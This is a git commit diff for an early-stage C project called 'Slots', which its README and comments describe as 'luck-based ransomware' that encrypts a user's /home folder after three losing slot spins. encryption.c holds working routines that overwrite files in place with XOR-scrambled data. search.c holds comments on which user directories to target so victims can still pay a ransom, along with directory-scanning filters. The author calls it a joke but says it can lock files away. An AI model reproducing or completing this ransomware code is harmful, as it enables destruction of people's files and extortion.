summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--.gitignore5
-rw-r--r--LICENSE16
-rw-r--r--README.md7
-rw-r--r--src/Makefile17
-rw-r--r--src/encryption.c182
-rw-r--r--src/encryption.h9
-rw-r--r--src/main.c15
-rw-r--r--src/search.c72
-rw-r--r--src/search.h12
9 files changed, 335 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..71eafb7
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,5 @@
1.vscode
2test*
3
4encrypt
5search \ No newline at end of file
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..93d0d36
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,16 @@
1MIT No Attribution
2
3Copyright 2024 @syxhe
4
5Permission is hereby granted, free of charge, to any person obtaining a copy of this
6software and associated documentation files (the "Software"), to deal in the Software
7without restriction, including without limitation the rights to use, copy, modify,
8merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
9permit persons to whom the Software is furnished to do so.
10
11THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
12INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
13PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
14HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
15OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
16SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..2324046
--- /dev/null
+++ b/README.md
@@ -0,0 +1,7 @@
1# Slots
2
3## Luck-based ransomware
4
5If you can't win the jackpot in 3 spins, your /home/ folder gets encrypted
6
7This "malware" is more "funware". It's not intended to cause actual damage to your system, but it does have the capability to. That being said, the encryption isn't high-grade, and if you were to "lose" after setting the same "password", all your files will be back to normal.
diff --git a/src/Makefile b/src/Makefile
new file mode 100644
index 0000000..39369a1
--- /dev/null
+++ b/src/Makefile
@@ -0,0 +1,17 @@
1CC = gcc
2CFLAGS = -Wall -Wextra -Wpedantic -fanalyzer -Wanalyzer-too-complex -Og -g3 -ggdb
3
4BINARY_FILES := encrypt search
5
6.PHONY: all clean
7
8all: $(BINARY_FILES)
9
10clean:
11 rm -rvf $(BINARY_FILES)
12
13encrypt: encryption.c encryption.h
14 $(CC) $(CFLAGS) encryption.c -o encrypt
15
16search: search.c search.h
17 $(CC) $(CFLAGS) search.c -o search \ No newline at end of file
diff --git a/src/encryption.c b/src/encryption.c
new file mode 100644
index 0000000..6539b1a
--- /dev/null
+++ b/src/encryption.c
@@ -0,0 +1,182 @@
1/***
2 * ENCRYPTION
3 *
4 * Makes files unreadable, kinda.
5*/
6
7#include "encryption.h"
8
9#include <sys/types.h>
10#include <sys/stat.h>
11#include <stdlib.h>
12#include <stdint.h>
13#include <string.h>
14#include <unistd.h>
15#include <error.h>
16#include <errno.h>
17#include <fcntl.h>
18
19#include <stdio.h>
20
21// Encrypt a file (OVERWRITES FILE!) using a passphrase
22size_t passenc(int fd, const char *passphrase) {
23 struct stat sb;
24 void *filebuf = NULL;
25 ssize_t cur_len = 0;
26 ssize_t bytesread = 0;
27 int esave;
28
29
30 // Set up file buffer
31 if(fstat(fd, &sb) < 0) {
32 error(0, errno, "[passenc] Could not stat file descriptor \"%d\"", fd);
33 return -1;
34 }
35 filebuf = calloc(sb.st_size, 1);
36 if(filebuf == NULL) {
37 error(0, errno, "[passenc] Could not allocate buffer for reading file");
38 return -1;
39 }
40
41 while((bytesread = read(fd, ((uint8_t*)filebuf) + cur_len, sb.st_size - cur_len)) > 0) {
42 esave = errno;
43 cur_len += bytesread;
44 if(cur_len > sb.st_size) {
45 error(0, ERANGE, "[passenc] Reading overran the proper file size somehow");
46 free(filebuf);
47 return -1;
48 }
49 }
50 if(bytesread < 0) {
51 error(0, esave, "[passenc] Ran into a read error");
52 free(filebuf);
53 return -1;
54 }
55
56
57 // Do the "encryption"
58 size_t phraselen = strlen(passphrase);
59 for(off_t i = 0; i < sb.st_size; i++) {
60 ((uint8_t*)filebuf)[i] ^= passphrase[i % phraselen];
61 }
62
63
64 // Write "encrypted" data to file
65 if(lseek(fd, 0, SEEK_SET) < 0) {
66 error(0, errno, "[passenc] Could not seek to beginning of file");
67 free(filebuf);
68 return -1;
69 }
70
71 bytesread = 0;
72 cur_len = 0;
73 while((bytesread = write(fd, ((uint8_t*)filebuf) + cur_len, sb.st_size - cur_len)) > 0) {
74 esave = errno;
75 cur_len += bytesread;
76 if(cur_len > sb.st_size) {
77 error(0, ERANGE, "[passenc] writing overran the proper file size somehow");
78 free(filebuf);
79 return -1;
80 }
81 }
82 if(bytesread < 0) {
83 error(0, esave, "[passenc] Ran into a write error");
84 free(filebuf);
85 return -1;
86 }
87
88 free(filebuf);
89 return cur_len;
90}
91
92// Encrypt a file one block at a time (Overwrites file)
93size_t passencblock(int fd, const char *passphrase) {
94 struct stat sb;
95 void *filebuf = NULL;
96 ssize_t cur_len = 0, totalwritten = 0;
97 ssize_t bytesread = 0, usebytes = 0;
98 int esave;
99 off_t offset = 0;
100
101
102 // Set up file buffer
103 if(fstat(fd, &sb) < 0) {
104 error(0, errno, "[passenc] Could not stat file descriptor \"%d\"", fd);
105 return -1;
106 }
107 filebuf = calloc(sb.st_blksize, 1);
108 if(filebuf == NULL) {
109 error(0, errno, "[passenc] Could not allocate buffer for reading file");
110 return -1;
111 }
112
113 // Read 1 block
114 // Do the encryption
115 // Overwrite the block with the encryption
116 // Repeat until EOF
117
118 while(offset < sb.st_size) {
119 // Read a block
120 bytesread = 0;
121 cur_len = 0;
122 while((bytesread = read(fd, ((char*)filebuf) + cur_len, sb.st_blksize - cur_len)) > 0) {
123 esave = errno;
124 cur_len += bytesread;
125 if(cur_len > sb.st_blksize) {
126 error(0, ERANGE, "[passenc] Read too many bytes somehow");
127 free(filebuf);
128 return -1;
129 }
130 }
131 if(bytesread < 0) {
132 error(0, esave, "[passenc] Ran into a read error");
133 free(filebuf);
134 return -1;
135 }
136 usebytes = cur_len;
137
138 // Do the encryption
139 size_t phraselen = strlen(passphrase);
140 for(off_t i = 0; i < usebytes; i++) {
141 ((char*)filebuf)[i] ^= passphrase[i % phraselen];
142 }
143
144 // Seek to the right spot
145 if(lseek(fd, offset, SEEK_SET) < 0) {
146 error(0, errno, "[passenc] Could not seek to proper offset");
147 free(filebuf);
148 return -1;
149 }
150 offset += sb.st_blksize;
151
152 // Write to the file
153 bytesread = 0;
154 cur_len = 0;
155 while((bytesread = write(fd, ((char*)filebuf) + cur_len, usebytes - cur_len)) > 0) {
156 esave = errno;
157 cur_len += bytesread;
158 if(cur_len > sb.st_blksize) {
159 error(0, ERANGE, "[passenc] writing overran the block size somehow");
160 free(filebuf);
161 return -1;
162 }
163 }
164 if(bytesread < 0) {
165 error(0, esave, "[passenc] Ran into a write error");
166 free(filebuf);
167 return -1;
168 }
169 totalwritten += cur_len;
170
171 }
172
173 free(filebuf);
174 return totalwritten;
175}
176
177int main() {
178 int fd = open("test.txt", O_RDWR);
179 passencblock(fd, "we do a little trolling");
180
181 return 0;
182} \ No newline at end of file
diff --git a/src/encryption.h b/src/encryption.h
new file mode 100644
index 0000000..eccb6b9
--- /dev/null
+++ b/src/encryption.h
@@ -0,0 +1,9 @@
1#ifndef __SLOTS__ENCRYPTION_H__176771896719387
2#define __SLOTS__ENCRYPTION_H__176771896719387
3
4#include <stddef.h>
5
6/* Overwrite an open file with "encrypted" data by XOR'ing each byte with a character from PASSPHRASE. Returns number of bytes overwritten, and -1 on error */
7size_t passenc(int fd, const char *passphrase);
8
9#endif \ No newline at end of file
diff --git a/src/main.c b/src/main.c
new file mode 100644
index 0000000..6e0bc8f
--- /dev/null
+++ b/src/main.c
@@ -0,0 +1,15 @@
1/***
2 * SLOTS - Feelin' Lucky?
3 *
4 * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
5 * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
6 * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
7 *
8 *
9*/
10
11int main() {
12
13
14 return 0;
15} \ No newline at end of file
diff --git a/src/search.c b/src/search.c
new file mode 100644
index 0000000..22e5486
--- /dev/null
+++ b/src/search.c
@@ -0,0 +1,72 @@
1/***
2 * SEARCH
3 *
4 * Find valid files to encrypt
5*/
6
7/*
8Valid files for encryption should be specific to the user, not to the system. If you encrypt everything in /usr/bin, the user can't ever pay the ransom because their
9shit is borked. Files related to the user's install, such as /home, /mnt, and /usr are valid targets (although I'll only target /home/specific-user/ for now)
10*/
11
12#define _GNU_SOURCE
13
14#include "search.h"
15
16#include <sys/types.h>
17#include <sys/stat.h>
18#include <dirent.h>
19#include <string.h>
20#include <unistd.h>
21#include <error.h>
22#include <errno.h>
23#include <stdio.h>
24
25int folderonly(const struct dirent64 *tester) {
26 // Filter out the current and previous dir macros
27 if(strcmp(tester->d_name, ".") == 0 || strcmp(tester->d_name, "..") == 0)
28 return 0;
29
30 // Check if the "file" is specifically a dir
31 struct stat64 sb;
32 if(stat64(tester->d_name, &sb) < 0) {
33 error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name);
34 return 0; // Don't try to traverse into a dir that we don't know is a dir or not
35 }
36
37 // Filter out non dirs
38 if((sb.st_mode & S_IFMT) != S_IFDIR)
39 return 0;
40
41 return 1;
42}
43
44int fileonly(const struct dirent64 *tester) {
45 // Check if the "file" is specifically a dir
46 struct stat64 sb;
47 if(stat64(tester->d_name, &sb) < 0) {
48 error(0, errno, "[folderonly] Could not stat \"%s\"", tester->d_name);
49 return 0; // Don't mark a file for encryption if we can't safely say it's something that should be overwritten
50 }
51
52 // Filter out dirs
53 if((sb.st_mode & S_IFMT) != S_IFREG)
54 return 0;
55
56 return 1;
57}
58
59int main (void) {
60 struct dirent64 **eps;
61 int n;
62
63 n = scandir64("./", &eps, folderonly, alphasort64);
64 if(n >= 0) {
65 for(int cnt = 0; cnt < n; cnt++)
66 puts(eps[cnt]->d_name);
67 } else {
68 perror("Couldn't open dir");
69 }
70
71 return 0;
72}
diff --git a/src/search.h b/src/search.h
new file mode 100644
index 0000000..9a5a086
--- /dev/null
+++ b/src/search.h
@@ -0,0 +1,12 @@
1#ifndef __SLOTS__SEARCH_H__1863390513307
2#define __SLOTS__SEARCH_H__1863390513307
3
4#include <dirent.h>
5
6// scandir filter: filter out anything that isn't a directory
7int folderonly(const struct dirent64 *tester);
8
9// scandir filter: filter out anything that isn't a regular file
10int fileonly(const struct dirent64 *tester);
11
12#endif \ No newline at end of file